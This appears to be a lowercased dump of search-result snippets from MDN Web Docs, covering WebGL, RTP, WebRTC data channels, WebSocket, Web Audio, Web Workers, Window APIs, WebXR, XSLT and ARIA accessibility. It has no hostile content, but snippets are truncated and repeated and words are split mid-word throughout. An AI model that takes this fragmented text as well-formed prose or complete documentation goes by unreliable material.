mming, textures, geometry, user interaction, and more. advanced tutorials webgl model view projection a detailed explanation of the three core matrices that are typically used to represent a 3d object view: the model, view and projection matrices. matrix math for the web a useful guide to how 3d transform matrices work, and can be used on the web — both for webgl calculations and in css3 t...
...t view: the model, view and projection matrices. matrix math for the web a useful guide to how 3d transform matrices work, and can be used on the web — both for webgl calculations and in css3 transforms. resources raw webgl: an introduction to webgl a talk by nick desaulniers that introduces the basics of webgl. this is a great place to start if you've never done low-level graphics progra
mming. khronos webgl site the main web site for webgl at the khronos group. webgl fundamentals a basic tutorial with fundamentals of webgl. webgl playground an online tool for creating and sharing webgl projects. good for quick prototyping and experimenting. webgl academy an html/javascript editor with tutorials to learn basics of webgl progra
mming. webgl stats a site with statistics about webg...
...rs and matrices. not optimized for webgl but extremely robust. three.js is an open-source, fully featured 3d webgl library. phaser is a fast, free and fun open source framework for canvas and webgl powered browser games. redgl is an open-source 3d webgl library. vtk.js is a javascript library for scientific visualization in your browser. specifications specification status co
mment opengl es 3.0 standard opengl es 2.0 standard webgl 2.0 editor's draft builds on top of webgl 1. based on opengl es 3.0. webgl 1.0 reco
mmendation initial definition. based on opengl es 2.0 ...
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
e connectivity for exchanging data that needs real-time priority. this article provides an overview of what rtp is and how it functions in the context of webrtc. note: webrtc actually uses srtp (secure real-time transport protocol) to ensure that the exchanged data is secure and authenticated as appropriate. keeping latency to a minimum is especially important for webrtc, since face-to-face co
mmunication needs to be performed with as little latency as possible. the more time lag there is between one user saying something and another hearing it, the more likely there is to be episodes of cross-talking and other forms of confusion. key features of rtp before examining rtp's use in webrtc contexts, it's useful to have a general idea of what rtp does and does not offer. rtp is a data trans...
...ta transport, it is augmented by the closely-related rtp control protocol (rtcp), which is defined in rfc 3550, section 6. rtcp adds features including quality of service (qos) monitoring, participant information sharing, and the like. it isn't adequate for the purposes of fully managing users, memberships, permissions, and so forth, but provides the basics needed for an unrestricted multi-user co
mmunication session. the very fact that rtcp is defined in the same rfc as rtp is a clue as to just how closely-interrelated these two protocols are. capabilities of rtp rtp's primary benefits in terms of webrtc include: generally low latency. packets are sequence-numbered and time-stamped for reassembly if they arrive out of order. this lets data sent using rtp be delivered on transports tha...
...g or even guarantee delivery at all. this means rtp can be — but is not required to be — used atop udp for its performance as well as its multiplexing and checksum features. rtp supports multicast; while this isn't yet important for webrtc, it's likely to matter in the future, when webrtc is (hopefully) enhanced to support multi-user conversations. rtp isn't limited to use in audiovisual co
mmunication. it can be used for any form of continuous or active data transfer, including data streaming, active badges or status display updates, or control and measurement information transport. things rtp doesn't do rtp itself doesn't provide every possible feature, which is why other protocols are also used by webrtc. some of the more noteworthy things rtp doesn't include: editor's note: we ...
Using WebRTC data channels - Web APIs
for you (by causing it to receive a datachannel event). this is the easy way, and works for a wide variety of use cases, but may not be flexible enough for your needs. write your own code to negotiate the data transport and write your own code to signal to the other peer that it needs to connect to the new channel. let's look at each of these cases, starting with the first, which is the most co
mmon. automatic negotiation often, you can allow the peer connection to handle negotiating the rtcdatachannel connection for you. to do this, simply call createdatachannel() without specifying a value for the negotiated property, or specifying the property with a value of false. this will automatically trigger the rtcpeerconnection to handle the negotiations for you, causing the remote peer to cr...
... connection for you. to do this, simply call createdatachannel() without specifying a value for the negotiated property, or specifying the property with a value of false. this will automatically trigger the rtcpeerconnection to handle the negotiations for you, causing the remote peer to create a data channel and linking the two together across the network. the rtcdatachannel object is returned i
mmediately by createdatachannel(); you can tell when the connection has been made successfully by watching for the open event to be sent to the rtcdatachannel. let datachannel = pc.createdatachannel("myapp channel"); datachannel.addeventlistener("open", (event) => { begintransmission(datachannel); }); manual negotiation to manually negotiate the data channel connection, you need to first crea...
...tream control transmission protocol (sctp) data, there can still be variations due to how the library is used. for example, both firefox and google chrome use the usrsctp library to implement sctp, but there are still situations in which data transfer on an rtcdatachannel can fail due to differences in how they call the library and react to errors it returns. when two users running firefox are co
mmunicating on a data channel, the message size limit is much larger than when firefox and chrome are co
mmunicating because firefox implements a now deprecated technique for sending large messages in multiple sctp messages, which chrome does not. chrome will instead see a series of messages that it believes are complete, and will deliver them to the receiving rtcdatachannel as multiple messages. me...
Writing WebSocket client applications - Web APIs
the websocket constructor accepts one required and one optional parameter: websocket = new websocket(url, protocols); url the url to which to connect; this should be the url to which the websocket server will respond. ...
... the websocket constructor accepts one required and one optional parameter: websocket = new websocket(url, protocols); url the url to which to connect; this should be the url to which the websocket server will respond. ...
..., you can begin transmitting data to the server. to do this, simply call the websocket object's send() method for each message you want to send: examplesocket.send("here's some text that the server is urgently awaiting!"); you can send data as a string, blob, or arraybuffer. as establishing a connection is asynchronous and prone to failure there is no guarantee that calling the send() method i
mmediately after creating a websocket object will be successful. we can at least be sure that attempting to send data only takes place once a connection is established by defining an onopen event handler to do the work: examplesocket.onopen = function (event) { examplesocket.send("here's some text that the server is urgently awaiting!"); }; using json to transmit objects one handy thing you ca...
Advanced techniques: Creating and sequencing audio - Web APIs
iocontext, audiobuffer) { const samplesource = audiocontext.createbuffersource(); samplesource.buffer = audiobuffer; samplesource.playbackrate.setvalueattime(playbackrate, audioctx.currenttime); samplesource.connect(audiocontext.destination) samplesource.start(); return samplesource; } note: the sound file was sourced from soundbible.com. playing the audio in time a co
mmon problem with digital audio applications is getting the sounds to play in time so that the beat remains consistent, and things do not slip out of time. audiocontext object instances have a currenttime property, which allows us to retrieve the number of seconds after we first created the context. this is what we shall use for timing within our step sequencer — it's extremely accurate, returnin...
...stem, whereby we look ahead at when the notes are going to play and push them into a queue. we can start them at a precise time with the currenttime property and also take into account any changes. note: this is a much stripped down version of chris wilson's a tale of two clocks article, which goes into this method in much more detail. there's no point repeating it all here, but it's highly reco
mmended to read this article and use this method. much of the code here is taken from his metronome example, which he references in said article. let's start by setting up our default bpm (beats per minute), which will also be user-controllable via — you guessed it — another range input. let tempo = 60.0; const bpmcontrol = document.queryselector('#bpm'); bpmcontrol.addeventlistener('input', ...
... ...
Migrating from webkitAudioContext - Web APIs
in this article, we cover the differences in web audio api since it was first implemented in webkit and how to update your code to use the modern web audio api. the web audio standard was first implemented in webkit, and the implementation was built in parallel with the work on the specification of the api. ...
...ade to the spec, some of the old implementation pieces were not removed from the webkit (and blink) implementations due to backwards compatibility reasons. new engines implementing the web audio spec (such as gecko) will only implement the official, final version of the specification, which means that code using webkitaudiocontext or old naming conventions in the web audio specification may not i
mmediately work out of the box in a compliant web audio implementation. this article attempts to su
mmarize the areas where developers are likely to encounter these problems and provide examples on how to port such code to standards based audiocontext, which will work across different browser engines. note: there is a library called webkitaudiocontext monkeypatch, which automatically fixes some of...
... this means that you may need to restructure your code to run the part which happened after the createbuffer() call in the success callback, as you can see in the example above. renaming of audioparam.settargetvalueattime the sett...
Using IIR filters - Web APIs
from the biquadfilternode we have already? an iir filter is a infinite impulse response filter. it's one of two primary types of filters used in audio and digital signal processing. the other type is fir — finite impulse response filter. there's a really good overview to iif filters and fir filters here. a biquad filter is actually a specific type of infinite impulse response filter. it's a co
mmonly-used type and we already have it as a node in the web audio api. if you choose this node the hard work is done for you. for instance, if you want to filter lower frequencies from your sound, you can set the type to highpass and then set which frequency to filter from (or cut off). there's more information on how biquad filters work here. when you are using an iirfilternode instead of a biqua...
... node the hard work is done for you. for instance, if you want to filter lower frequencies from your sound, you can set the type to highpass and then set which frequency to filter from (or cut off). there's more information on how biquad filters work here. when you are using an iirfilternode instead of a biquadfilternode you are creating the filter yourself, rather than just choosing a pre-progra
mmed type. so you can create a highpass filter, or a lowpass filter, or a more bespoke one. and this is where the iir filter node is useful — you can create your own if none of the alaready available settings is right for what you want. as well as this, if your audio graph needed a highpass and a bandpass filter within it, you could just use one iir filter node in place of the two biquad filter no...
...this should have shown you how to use the basics, and helped you to understand what it's useful for and how it works. ...
Web Workers API - Web APIs
eption that the responsexml and channel attributes on xmlhttprequest always return null. in addition to dedicated workers, there are other types of worker: shared workers are workers that can be utilized by multiple scripts running in different windows, iframes, etc., as long as they are in the same domain as the worker. they are a little more complex than dedicated workers — scripts must co
mmunicate via an active port. see sharedworker for more details. serviceworkers essentially act as proxy servers that sit between web applications, the browser, and the network (when available). they are intended, among other things, to enable the creation of effective offline experiences, intercept network requests and take appropriate action based on whether the network is available, and update a...
...ve access to js-ctypes in your worker. see chromeworker for more details. audio workers provide the ability for direct scripted audio processing to be done inside a web worker context. note: as per the web workers spec, worker error events should not bubble (see bug 1188141. this has been implemented in firefox 42. web worker interfaces abstractworker abstracts properties and methods co
mmon to all kind of workers (i.e. worker or sharedworker). worker represents a running worker thread, allowing you to pass messages to the running worker code. workerlocation defines the absolute location of the script executed by the worker. sharedworker represents a specific kind of worker that can be accessed from several browsing contexts, being several windows, iframes or even workers. w...
... living standard initial definition. ...
Window.top - Web APIs
returns a reference to the topmost window in the window hierarchy. syntax var topwindow = window.top; notes where the window.parent property returns the i
mmediate parent of the current window, window.top returns the topmost window in the hierarchy of window objects. this property is especially useful when you are dealing with a window that is in a subframe of a parent or parents, and you want to get to the top-level frameset. ...
... window.top; notes where the window.parent property returns the i
mmediate parent of the current window, window.top returns the topmost window in the hierarchy of window objects. this property is especially useful when you are dealing with a window that is in a subframe of a parent or parents, and you want to get to the top-level frameset. specifications specification status co
mment html living standardthe definition of 'window.top' in that specification. ...
...rty is especially useful when you are dealing with a window that is in a subframe of a parent or parents, and you want to get to the top-level frameset. ...
Window - Web APIs
e used to register new custom elements and get information about previously registered custom elements. window.crypto read only returns the browser crypto object. window.devicepixelratio read only returns the ratio between physical pixels and device independent pixels in the current display. window.document read only returns a reference to the document that the window contains. window.do
mmatrix read only returns a reference to a do
mmatrix object, which represents 4x4 matrices, suitable for 2d and 3d operations. window.do
mmatrixreadonly read only returns a reference to a do
mmatrixreadonly object, which represents 4x4 matrices, suitable for 2d and 3d operations. window.dompoint read only returns a reference to a dompoint object, which represents a 2d or 3d point in a co...
...s from windoworworkerglobalscope and eventtarget. window.alert() displays an alert dialog. window.blur() sets focus away from the window. window.cancelanimationframe() enables you to cancel a callback previously scheduled with window.requestanimationframe. window.cancelidlecallback() enables you to cancel a callback previously scheduled with window.requestidlecallback. window.cleari
mmediate() cancels the repeated execution set using seti
mmediate. window.close() closes the current window. window.confirm() displays a dialog with a message that the user needs to respond to. window.dump() writes a message to the console. window.find() searches for a given string in a window. window.focus() sets focus on the current window. window.getcomputedstyle() gets computed sty...
...ll() scrolls the window to a particular place in the document. window.scrollby() scrolls the document in the window by the given amount. window.scrollbylines() scrolls the document by the given number of lines. window.scrollbypages() scrolls the current document by the specified number of pages. window.scrollto() scrolls to a particular set of coordinates in the document. window.seti
mmediate() executes a function after the browser has finished other heavy tasks window.setresizable() toggles a user's ability to resize a window. window.sizetocontent() sizes the window according to its content. window.stop() this method stops window loading. window.updateco
mmands() updates the state of co
mmands of the current chrome window (ui). methods implemented from elsewhere ...
WindowEventHandlers.onbeforeunload - Web APIs
ck to the page. you can bind to window.onbeforeunload to prevent the browser from fully caching the page. if you do so, javascript in the page will be triggered on the subsequent return visit and update the content as desired. ...
...content as desired. specifications the event was originally introduced by microsoft in internet explorer 4 and standardized in the html5 specification. specification status co
mment html living standardthe definition of 'onbeforeunload' in that specification. ...
...xplorer 4 and standardized in the html5 specification. specification status co
mment html living standardthe definition of 'onbeforeunload' in that specification. living standard html 5.1the definition of 'globaleventhandlers' in that specification. ...
WindowEventHandlers.onunload - Web APIs
s. note: browsers equipped with pop-up blockers will ignore all window.open() method calls in onunload event handler functions. syntax window.addeventlistener("unload", function(event) { ... }); window.onunload = function(event) { ... ...
...ndow.onunload = function(event) { ... }; typically, it is better to use window.addeventlistener() and the unload event, instead of onunload. specifications specification status co
mment html living standardthe definition of 'onunload' in that specification. ...
...and the unload event, instead of onunload. specifications specification status co
mment html living standardthe definition of 'onunload' in that specification. living standard html 5.1the definition of 'globaleventhandlers' in that specification. ...
WindowEventHandlers - Web APIs
each of these interfaces can implement additional specific event handlers. note: windoweventhandlers is a mixin and not an interface; you can't actually create an object of type windoweventhandlers. properties the events properties, of the form onxyz, are defined on the windoweventhandlers, and implemented by window, and workerglobalscope for web workers. windoweventhandlers.onafterprint is an eventhandler representing the code to be called when the afterprint event is raised. ...
...jection is an eventhandler representing the code to be called when the unhandledrejection event is raised, indicating that a promise was rejected but the rejection was not handled. windoweventhandlers.onunload is an eventhandler representing the code to be called when the unload event is raised. methods this interface defines no method. specifications specification status co
mment html living standardthe definition of 'windoweventhandlers' in that specification. living standard no change since the latest snapshot, html 5.1. html 5.1the definition of 'windoweventhandlers' in that specification. reco
mmendation snapshot of html living standard. added onlanguage since the html5 snapshot. html5the definition of 'windoweventhandlers'...
...andardthe definition of 'windoweventhandlers' in that specification. living standard no change since the latest snapshot, html 5.1. html 5.1the definition of 'windoweventhandlers' in that specification. reco
mmendation snapshot of html living standard. added onlanguage since the html5 snapshot. html5the definition of 'windoweventhandlers' in that specification. reco
mmendation snapshot of html living standard. creation of windoweventhandlers (properties where on the target before it). ...
WindowOrWorkerGlobalScope.atob() - Web APIs
for example, you can encode, transmit, and decode control characters such as ascii values 0 through 31. for use with unicode or utf-8 strings, see the note on "unicode strings" in the page for btoa(). ...
...idcharactererror) throws if encodeddata is not valid base64. example const encodeddata = window.btoa('hello, world'); // encode a string const decodeddata = window.atob(encodeddata); // decode the string polyfill you can use a polifill from https://github.com/maxart2501/base64-js/blob/master/base64.js for browsers that don't support it. specifications specification status co
mment html living standardthe definition of 'windoworworkerglobalscope.atob()' in that specification. living standard method moved to the windoworworkerglobalscope mixin in the latest spec. html 5.1the definition of 'windowbase64.atob()' in that specification. reco
mmendation snapshot of html living standard. no change. html5the definition of 'windowbase64.a...
...the definition of 'windoworworkerglobalscope.atob()' in that specification. living standard method moved to the windoworworkerglobalscope mixin in the latest spec. html 5.1the definition of 'windowbase64.atob()' in that specification. reco
mmendation snapshot of html living standard. no change. html5the definition of 'windowbase64.atob()' in that specification. reco
mmendation snapshot of html living standard. creation of windowbase64 (properties where on the target before it). ...
WindowOrWorkerGlobalScope.btoa() - Web APIs
for example, you can encode control characters such as ascii values 0 through 31. ...
...i); } return string.fromcharcode(...new uint16array(bytes.buffer)); } const decoded = atob(encoded); const original = frombinary(decoded); console.log(original); // ☸☹☺☻☼☾☿ polyfill you can use a polifill from https://github.com/maxart2501/base64-js/blob/master/base64.js for browsers that don't support it. specifications specification status co
mment html living standardthe definition of 'windoworworkerglobalscope.btoa()' in that specification. living standard method moved to the windoworworkerglobalscope mixin in the latest spec. html 5.1the definition of 'windowbase64.btoa()' in that specification. reco
mmendation snapshot of html living standard. no change. html5the definition of 'windowbase64.b...
...the definition of 'windoworworkerglobalscope.btoa()' in that specification. living standard method moved to the windoworworkerglobalscope mixin in the latest spec. html 5.1the definition of 'windowbase64.btoa()' in that specification. reco
mmendation snapshot of html living standard. no change. html5the definition of 'windowbase64.btoa()' in that specification. reco
mmendation snapshot of html living standard. creation of windowbase64 (properties where on the target before it). ...
Worker - Web APIs
to its creator. creating a worker is done by calling the worker("path/to/worker/script") constructor. workers may themselves spawn new workers, as long as those workers are hosted at the same origin as the parent page. (note: nested workers are not yet implemented in webkit). not all interfaces and functions are available to scripts inside a worker. workers may use xmlhttprequest for network co
mmunication, but its responsexml and channel attributes are always null. (fetch is also available, with no such restrictions.) in firefox extensions, if you want to use workers with access to js-ctypes, use chromeworker object instead. constructors worker() creates a dedicated web worker that executes the script at the specified url. this also works for blob urls. properties inherits prop...
...e is stored in the event's data property. worker.onmessageerror is an eventhandler representing the code to be called when the messageerror event is raised. methods inherits methods from its parent, eventtarget, and implements methods from abstractworker. worker.postmessage() sends a message — consisting of any javascript object — to the worker's inner scope. worker.terminate() i
mmediately terminates the worker. this does not let worker finish its operations; it is halted at once. serviceworker instances do not support this method. events message fires when the worker's parent receives a message from that worker. also available via the onmessage property. messageerror fires when a worker object receives a message that can't be deserialized. also available via the ...
... living standard ...
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
r message: " + secinfo.errormessage + "\n"); } } else { dump("\tno security info available for this channel\n"); } // print ssl certificate details if (secinfo instanceof ci.nsisslstatusprovider) { var cert = secinfo.queryinterface(ci.nsisslstatusprovider) .sslstatus.queryinterface(ci.nsisslstatus).servercert; dump("\tco
mmon name (cn) = " + cert.co
mmonname + "\n"); dump("\tissuer = " + cert.issuerorganization + "\n"); dump("\torganisation = " + cert.organization + "\n"); dump("\tsha1 fingerprint = " + cert.sha1fingerprint + "\n"); var validity = cert.validity.queryinterface(ci.nsix509certvalidity); dump("\tvalid from " + validity.notbeforegmt + "\n"); dump("\tvalid unti...
... sha1 fingerprint = f4:99:64:18:6b:7d:c8:fa:c0:0c:2e:a9:61:77:28:67:13:c4:97:7b valid from 7/14/2011 0:00:00 am valid until 8/20/2013 23:59:59 pm and here is the output of making an https request to a server that uses an expired certificate: test("https://www.applian...
... sha1 fingerprint = f1:8c:38:96:0a:30:63:16:47:fa:6e:cd:7d:58:cc:ab:82:fb:a9:d0 valid from 9/1/2010 0:00:00 am valid until 9/1/2012 23:59:59 pm ...
XMLHttpRequest - Web APIs
xmlhttprequest (xhr) objects are used to interact with servers. you can retrieve data from a url without having to do a full page refresh. this enables a web page to update just part of a page without disrupting what the user is doing. xmlhttprequest is used heavily in ajax progra
mming. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.076923076923077%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 650 150" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consol...
...4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="511" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} despite its name, xmlhttprequest can be used to retrieve any type of data, not just xml. if your co
mmunication needs to involve receiving event data or message data from a server, consider using server-sent events through the eventsource interface. for full-duplex co
mmunication, websockets may be a better choice. constructor xmlhttprequest() the constructor initializes an xmlhttprequest. it must be called before any other method calls. properties this interface also inherits properties of...
...d property. loadstart fired when a request has started to load data. ...
XRPermissionDescriptor.optionalFeatures - Web APIs
such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need. xrreferencespace viewer a tracking space whose native origin tracks the viewer's position and orientation. this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions. it's particularly useful when determining the distance between th...
...ces of xrsession, both i
mmersive and inline, though it's most useful for inline sessions. it's particularly useful when determining the distance between the viewer and an input, or when working with offset spaces. otherwise, typically, one of the other reference space types will be used more often. ...
... working draft initial definition. ...
XRSession.environmentBlendMode - Web APIs
the value is a domstring which contains one of the values defined by the xrenvironmentblendmode enumerated type. important: environmentblendmode is part of the webxr augmented reality module, which has not yet reached a stable state. ...
...syntax blendmode = xrsession.environmentblendmode; value a domstring whose value is one of the strings found in the enumerated type xrenvironmentblendmode, defining if—and if so, how—virtual, rendered content is overlaid atop the image of the real world. permitted values are: opaque the rendered image is drawn without allowing any pass-through imagery. this is primarily used by fully-i
mmersive vr headsets, which totally obscure the surrounding environment, with none of the real world shown to the user at all. the alpha values specified in the xrsession's renderstate property's baselayer field are ignored since the alpha values for the rendered imagery are all treated as being 1.0 (fully opaque). additive primarily used by ar devices with transparent lenses which directly allow ...
...his mode, the xrsession's renderstate.baselayer property provides relative weights of the artificial layer during the compositing process. pixels whose alpha value is 1.0 are rendered fully opaque, totally obscuring the real world, while pixels with an alpha of 1.0 are totally transparent, leaving the surrounding environment to pass through. specifications specification status co
mment webxr augmented reality modulethe definition of 'xrsession.environmentblendmode' in that specification. working draft initial definition. ...
XRSession.updateRenderState() - Web APIs
ide of this plane will be rendered. this is 0.1 meters (10 centimeters) by default. inlineverticalfieldofview optional a floating-point value indicating the default field of view, in radians, to be used when computing the projection matrix for an inline xrsession. the projection matrix calculation also takes into account the output canvas's aspect ratio. this property must not be specified for i
mmersive sessions, so the value is null by default for i
mmersive sessions. the default value is otherwise π * 0.5 (half of the value of pi). return value none. exceptions this method may throw any of the following exceptions. these are true exceptions, since this method does not return a promise. invalidstateerror this may occur for one of the following reasons: the xrsession has al...
...eptions, since this method does not return a promise. invalidstateerror this may occur for one of the following reasons: the xrsession has already ended, so you cannot change its render state. the baselayer specified in newstate was created by an xrsession other than the one on which updaterenderstate() was called. the inlineverticalfieldofview property was set, but the session is i
mmersive and therefore does not allow this property to be used. examples this example creates a webgl context that is compatible with an i
mmersive xr device and then uses it to create an xrwebgllayer. updaterenderstate() is then called to associate the new xrwebgllayer. function onxrsessionstarted(xrsession) { let glcanvas = document.createelement("canvas"); let gl = glcanvas.getcontext(...
...gllayer. updaterenderstate() is then called to associate the new xrwebgllayer. function onxrsessionstarted(xrsession) { let glcanvas = document.createelement("canvas"); let gl = glcanvas.getcontext("webgl", { xrcompatible: true }); loadwebglresources(); xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl) }); } specifications specification status co
mment webxr device apithe definition of 'xrsession.updaterenderstate()' in that specification. working draft initial definition. ...
XRSpace - Web APIs
spatial data in webxr is always expressed relative to an object based upon one of the descendant interfaces of xrspace, at the time at which a given xrframe takes place. numeric values such as pose positions are thus coordinates in the corresponding xrspace, relative to that space's origin. note: the xrspace interface is never used directly; instead, all spaces are created using one of the interfaces based on xrspace. ...
... xrboundedreferencespace is always at floor level, with its x and z coordinates typically defaulting to a location near the room's center. xrreferencespace represents a reference space which is typically expected to remain static for the duration of the xrsession. while objects may move within the space, the space itself remains fixed in place. there are exceptions to this static nature; most co
mmonly, an xrreferencespace may move in order to adjust based on reconfiguration of the user's headset or other motion-sensitive device. properties the xrspace interface defines no properties of its own; however, it does inherit the properties of its parent interface, eventtarget. methods the xrspace interface provides no methods of its own. however, it inherits the methods of eventtarget, its ...
...ation of the user's headset or other motion-sensitive device. properties the xrspace interface defines no properties of its own; however, it does inherit the properties of its parent interface, eventtarget. methods the xrspace interface provides no methods of its own. however, it inherits the methods of eventtarget, its parent interface. specifications specification status co
mment webxr device apithe definition of 'xrspace' in that specification. working draft initial definition. ...
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
vice. this can happen for display environments which use superscaling or anti-aliasing techniques to improve perceived image quality. syntax let nativescaling = xrwebgllayer.getnativeframebufferscalefactor(session); parameters session the xrsession for which to return the native framebuffer scaling factor. ...
...floating-point value which, when multiplied by the xrsession's reco
mmended framebuffer dimensions, results in the xr device's native frame buffer resolution. if the session has ended, this function returns 0.0. usage notes the scaling factor returned by this function will be 1.0 if the native resolution of the xr device and the resolution of the xr device match. in any case, multiplying the reco
mmended resolution as identified by the xrsession by this value will result in the actual native resolution of the xr hardware. the reco
mmended webgl frame buffer resolution is the best possible estimate of the resolution necessary to contain all of fthe xrviews needed by the device while at the same time providing typical applications an acceptable balance of image quality and performance. for ex...
... working draft initial definition. ...
XSL Transformations in Mozilla FAQ - Web APIs
why isn't my stylesheet applied? make sure the mime type for both source and stylesheet are set to an xml mimetype, namely text/xml or application/xml. the xslt namespace is http://www.w3.org/1999/xsl/transform. use the <?xml-stylesheet ?> processing instruction instead of the non-standard xml:stylesheet. the most co
mmon cause is the mime type handling. to find out which mime type your server sends, look at page info, use extensions like livehttpheaders or a download manager like wget. mozilla won't load xslt stylesheets from a different domain for security reasons. note: starting in gecko 7.0, both text/xsl and application/xslt+xml are supported mime types for xslt media stylesheets. note that firefox will override your xslt stylesheet if your xml is detected as an rss or atom ...
...ers or a download manager like wget. mozilla won't load xslt stylesheets from a different domain for security reasons. note: starting in gecko 7.0, both text/xsl and application/xslt+xml are supported mime types for xslt media stylesheets. note that firefox will override your xslt stylesheet if your xml is detected as an rss or atom feed. a known workaround is to add a sufficiently long xml co
mment to the beginning of your xml file in order to "push" the <feed> or <rss> tag out of the first 512 bytes, which is analyzed by firefox to determine if it's a feed or not. see the discussion on bug #338621 for more information. it works in ie, but not in mozilla? there are even more differences. most come from what we suspect ie to do after the transformation. it (afaict) serializes and parses...
... of that wd are significant, we offer no legacy support. how do i build the standalone version of transformiix? see the building transformiix standalone page. original document information author(s): axel hecht last updated date: february 2, 2005 copyright information: portions of this content are © 1998–2006 by individual mozilla.org contributors; content available under a creative co
mmons license ...
Using the alertdialog role - Accessibility
as the name implies, alertdialog is a type of dialog. ...
...teractive controls such as text fields, tabs or checkboxes. which particular control focus should be moved to depends on the purpose of the dialog. the tab order inside the alert dialog must wrap. the difference with regular dialogs is that the alertdialog role should only used when an alert, error, or warning occurs. in other words, when a dialog's information and controls require the user's i
mmediate attention alertdialog should be used instead of dialog. it is up to the developer to make this distinction though. because of its urgent nature, alert dialogs must always be modal. note: this role should only be used for alert messages that have associated interactive controls. if an alert dialog only contains static content and has no interactive controls at all, alertdialog is likely no...
...ialog1title">your login session is about to expire</h2> <p id="dialog1desc">to extend your session, click the ok button</p> <button>ok</button> </div> </div> working examples: tbd notes aria attributes used alertdialog aria-labelledby aria-describedby related aria techniques using the dialog role using the alert role compatibility tbd: add support information for co
mmon ua and at product combinations additional resources ...
Using the aria-invalid attribute - Accessibility
echnique demonstrates how to use the aria-invalid attribute. the aria-invalid attribute is used to indicate that the value entered into an input field does not conform to the format expected by the application.this may include formats such as email addresses or telephone numbers. aria-invalid can also be used to indicate that a required field has not been filled in.the attribute should be progra
mmatically set as a result of a validation process. this attribute can be used with any typical html form element; it is not limited to elements that have an aria role assigned. values vocabulary: false (default) no errors detected gra
mmar a gra
mmatical error has been detected. spelling a spelling error has been detected. true the value has failed validation. any value not in this voc...
...input. <input name="name" id="name" aria-required="true" aria-invalid="false" onblur="checkvalidity('name', ' ', 'invalid name entered (requires both first and last name)');"/> <br /> <input name="email" id="email" aria-required="true" aria-invalid="false" onblur="checkvalidity('email', '@', 'invalid e-mail address');"/> note that it is not necessary to validate the fields i
mmediately on blur; the application could wait until the form is submitted (though this is not necessarily reco
mmended). the snippet below shows a very simple validation function, which only checks for the presence of a particular character (in the real world, validation will likely be more sophisticated): function checkvalidity(aid, asearchterm, amsg){ var elem = document.getelementbyid(aid);...
...rue before the form is submitted - only in response to validation. future expansion may add terms to the vocabulary used for this attribute. ...
Using the aria-labelledby attribute - Accessibility
6: definition lists in the example below, the definitions in a formal definition list are associated with the terms they define using the aria-labelledby attribute: <dl> <dt id="anathema">anathema</dt> <dd role="definition" aria-labelledby="anathema">a ban or curse solemnly pronounced by ecclesiastical authority and accompanied by exco
mmunication</dd> <dd role="definition" aria-labelledby="anathema">a vigorous denunciation : cursor</dd> <dt id="homily">homily</dt> <dd role="definition" aria-labelledby="homily">a usually short sermon</dd> <dd role="definition" aria-labelledby="homily">a lecture or discourse on or of a moral theme</dd> </dl> example 7: menus in the example below, a popup menu is associated with ...
... menu is associated with its label using the aria-labelledby attribute: <div role="menubar"> <div role="menuitem" aria-haspopup="true" id="filemenu">file</div> <div role="menu" aria-labelledby="filemenu"> <div role="menuitem">open</div> <div role="menuitem">save</div> <div role="menuitem">save as ...</div> ... </div> ... ...
...tem">save</div> <div role="menuitem">save as ...</div> ... </div> ... ...
Using the slider role - Accessibility
this technique demonstrates how to use the slider role and describes the effect it has on browsers and assistive technology. the slider role is used for markup that allows a user to select a value from within a given range. the slider role is assigned to the "thumb," the control that is adjusted to change the value. as the user interacts with the thumb, the application must progra
mmatically adjust the slider's aria-valuenow (and possible aria-valuetext) attribute to reflect the current value. see the examples section below for more information. keyboard and focus the slider should be keyboard focusable and operable. when the user tabs focus to the slider, it should land on the thumb: the control a mouse user would drag. arrow keys should operate as follows (localization for righ...
...ects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: simple numerical range in the example below, a simple slider is used to select a value between 1 and 100. the current volume is 50. the application will progra
mmatically update the value of aria-valuenow in response to user input. <label for="fader">volume</label> <input type="range" id="fader" min="1" max="100" value="50" step="1" aria-valuemin="1" aria-valuemax="100" aria-valuenow="50" oninput="outputupdate(value)"> <output for="fader" id="volume">50</output> the following code snippet allows you to return the output as it is update...
...cument.getelementbyid("day-handle"); handle.setattribute("aria-valuenow", newvalue.tostring()); handle.setattribute("aria-valuetext", daynames[newvalue]); }; working examples: slider example notes aria attributes used aria-valuemin aria-valuemax aria-valuenow aria-valuetext aria-orientation related aria techniques compatibility tbd: add support information for co
mmon ua and at product combinations additional resources wai-aria specification for the slider role ...
How to file ARIA-related bugs - Accessibility
the state of aria technology has always depended on the co
mmunity. if you notice an implementation issue, please take a little time and let the developers know. here's where to file bugs: when finding a bug, please also update the relevant compatibility tables in the examples page. ...
...and let the developers know. here's where to file bugs: when finding a bug, please also update the relevant compatibility tables in the examples page. ...
...i file webkit.org bugs google chrome file chromium bugs microsoft internet explorer file ie bugs microsoft edge file ms edge bugs view existing ms edge aria bugs mozilla firefox file firefox bugs use component: disability access apis opera file opera bugs use [aria] in the su
mmary field js libraries dojo toolkit file dojo bug put accessibility in the component field yahoo user interface file yui bugs file against specific component in category combobox and include aria in su
mmary field ...
ARIA: alert role - Accessibility
nt to setting aria-live="assertive" and aria-atomic="true". they don't receive focus, and therefore focus does not need to be managed and no user interaction should be required. the most important thing to know about the alert role is that it is for dynamic content. it is perfect for situations such as when a user fills out a form and javascript is used to add an error message - the alert would i
